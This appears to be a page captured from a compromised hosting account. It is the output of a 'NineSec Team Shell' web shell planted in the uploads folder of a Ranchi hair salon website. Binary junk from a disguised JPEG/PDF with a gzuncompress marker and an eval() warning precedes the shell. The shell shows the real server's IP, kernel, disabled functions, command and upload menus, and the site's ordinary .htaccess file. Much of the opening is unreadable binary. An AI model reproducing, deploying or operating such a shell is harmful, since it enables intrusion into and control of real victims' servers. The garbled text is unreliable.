JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/.htaccess
# Email Configuration
php_value sendmail_from "info@prince.ranchihairsalon.com"
php_value SMTP "smtp.hostinger.com"
php_value smtp_port 465
php_value sendmail_path "/usr/sbin/sendmail -t -i"

# Enable rewrite engine
RewriteEngine On
RewriteBase /

# ============================================
# 1. FIX EXISTING URLS FIRST
# ============================================

# Remove .php extension and redirect
RewriteCond %{THE_REQUEST} \s/+(.*?)\.php[\s?] [NC]
RewriteRule ^ /%1 [R=301,L,NE]

# Redirect wrong URLs
RewriteRule ^service/products$ /products [R=301,L]

# ============================================
# 2. HANDLE EXISTING FILES AND DIRECTORIES
# ============================================

# If the request is for an existing file or directory, serve it directly
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]

# ============================================
# 3. ADMIN ROUTES (MUST COME FIRST)
# ============================================

RewriteRule ^admin/?$ admin/dashboard.php [L]
RewriteRule ^admin/dashboard/?$ admin/dashboard.php [L]
RewriteRule ^admin/login/?$ admin/login.php [L]
RewriteRule ^admin/products/?$ admin/products.php [L]
RewriteRule ^admin/services/?$ admin/services.php [L]
RewriteRule ^admin/users/?$ admin/users.php [L]
RewriteRule ^admin/bookings/?$ admin/bookings.php [L]
RewriteRule ^admin/settings/?$ admin/settings.php [L]

# ============================================
# 4. USER ROUTES
# ============================================

RewriteRule ^user/dashboard/?$ user/dashboard.php [L]
RewriteRule ^user/profile/?$ user/profile.php [L]
RewriteRule ^user/bookings/?$ user/bookings.php [L]
RewriteRule ^user/order_product/?$ user/order_product.php [L]
RewriteRule ^user/book_service/?$ user/book_service.php [L]

# ============================================
# 5. AUTH ROUTES
# ============================================

RewriteRule ^login/?$ auth/login.php [L]
RewriteRule ^register/?$ auth/register.php [L]
RewriteRule ^logout/?$ auth/logout.php [L]

# ============================================
# 6. MAIN PAGE ROUTES
# ============================================

RewriteRule ^(index|home)?$ index.php [L]
RewriteRule ^about/?$ about.php [L]
RewriteRule ^contact/?$ contact.php [L]
RewriteRule ^gallery/?$ gallery.php [L]
RewriteRule ^products/?$ products.php [L]
RewriteRule ^services/?$ services.php [L]

# ============================================
# 7. DETAIL PAGE ROUTES
# ============================================

# Product detail: /product/product-name-123-in-lalpur-ranchi
RewriteRule ^product/([a-zA-Z0-9-]+)-([0-9]+)-in-lalpur-ranchi/?$ product-detail.php?id=$2 [L,QSA]

# Service detail: /service/service-name-456-in-lalpur-ranchi
RewriteRule ^service/([a-zA-Z0-9-]+)-([0-9]+)-in-lalpur-ranchi/?$ service-detail.php?id=$2 [L,QSA]

# ============================================
# 8. CATEGORY PAGES
# ============================================

# Product categories
RewriteRule ^products/hair-patches-in-lalpur-ranchi/?$ products.php?category=hair_patch [L]
RewriteRule ^products/hair-wigs-in-lalpur-ranchi/?$ products.php?category=hair_wig [L]
RewriteRule ^products/hair-care-products-in-lalpur-ranchi/?$ products.php?category=hair_product [L]
RewriteRule ^products/beauty-products-in-lalpur-ranchi/?$ products.php?category=beauty_product [L]

# Service categories
RewriteRule ^services/hair-patch-services-in-lalpur-ranchi/?$ services.php?category=hair_patch [L]
RewriteRule ^services/hair-wig-services-in-lalpur-ranchi/?$ services.php?category=hair_wig [L]
RewriteRule ^services/barber-services-in-lalpur-ranchi/?$ services.php?category=barber [L]
RewriteRule ^services/beauty-services-in-lalpur-ranchi/?$ services.php?category=beauty [L]

# ============================================
# 9. LOCAL SEO PAGES
# ============================================

RewriteRule ^hair-salon-in-lalpur-ranchi/?$ services.php [L]
RewriteRule ^barber-shop-in-lalpur/?$ services.php?category=barber [L]
RewriteRule ^hair-products-store-in-ranchi/?$ products.php [L]
RewriteRule ^beauty-parlour-in-lalpur/?$ services.php?category=beauty [L]

# ============================================
# 10. SITEMAP
# ============================================

RewriteRule ^sitemap\.xml$ sitemap.php [L]
RewriteRule ^sitemap/?$ sitemap.php [L]

# ============================================
# 11. FINAL FALLBACK - SERVING PHP FILES
# ============================================

# If all else fails, try to serve the PHP file directly
# This handles files like auth/login.php directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
RewriteRule ^(.+?)/?$ $1.php [L]

# ============================================
# SECURITY HEADERS
# ============================================

# Protect sensitive files
<FilesMatch "\.(htaccess|htpasswd|ini|log|sh|inc|bak|sql)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

# Prevent directory listing
Options -Indexes

# Clickjacking protection
Header set X-Frame-Options "SAMEORIGIN"

# XSS protection
Header set X-XSS-Protection "1; mode=block"

# Prevent MIME type sniffing
Header set X-Content-Type-Options "nosniff"

# Referrer policy
Header set Referrer-Policy "strict-origin-when-cross-origin"

# Block access to sensitive directories
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_URI} ^/(config|backup|logs|tmp|vendor|\.git) [NC]
    RewriteRule ^ - [F,L]
</IfModule>

# ============================================
# ERROR PAGES
# ============================================

ErrorDocument 404 /404.php
ErrorDocument 500 /500.php

# ============================================
# PERFORMANCE OPTIMIZATION
# ============================================

# Enable compression
<IfModule mod_deflate.c>
    AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/javascript application/x-javascript application/json
</IfModule>

# Set caching headers
<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType image/jpg "access plus 1 year"
    ExpiresByType image/jpeg "access plus 1 year"
    ExpiresByType image/png "access plus 1 year"
    ExpiresByType image/webp "access plus 1 year"
    ExpiresByType image/svg+xml "access plus 1 year"
    ExpiresByType image/x-icon "access plus 1 year"
    ExpiresByType text/css "access plus 1 month"
    ExpiresByType text/javascript "access plus 1 month"
    ExpiresByType application/javascript "access plus 1 month"
    ExpiresDefault "access plus 2 days"
</IfModule>

# ============================================
# REMOVE TRAILING SLASHES
# ============================================

RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)/$ /$1 [R=301,L]

# ============================================
# SITEMAP CONTENT TYPE
# ============================================

<Files sitemap.php>
    Header set Content-Type "application/xml; charset=utf-8"
</Files>

<Files robots.txt>
    Header set Content-Type "text/plain; charset=utf-8"
</Files>

NineSec Team - 2022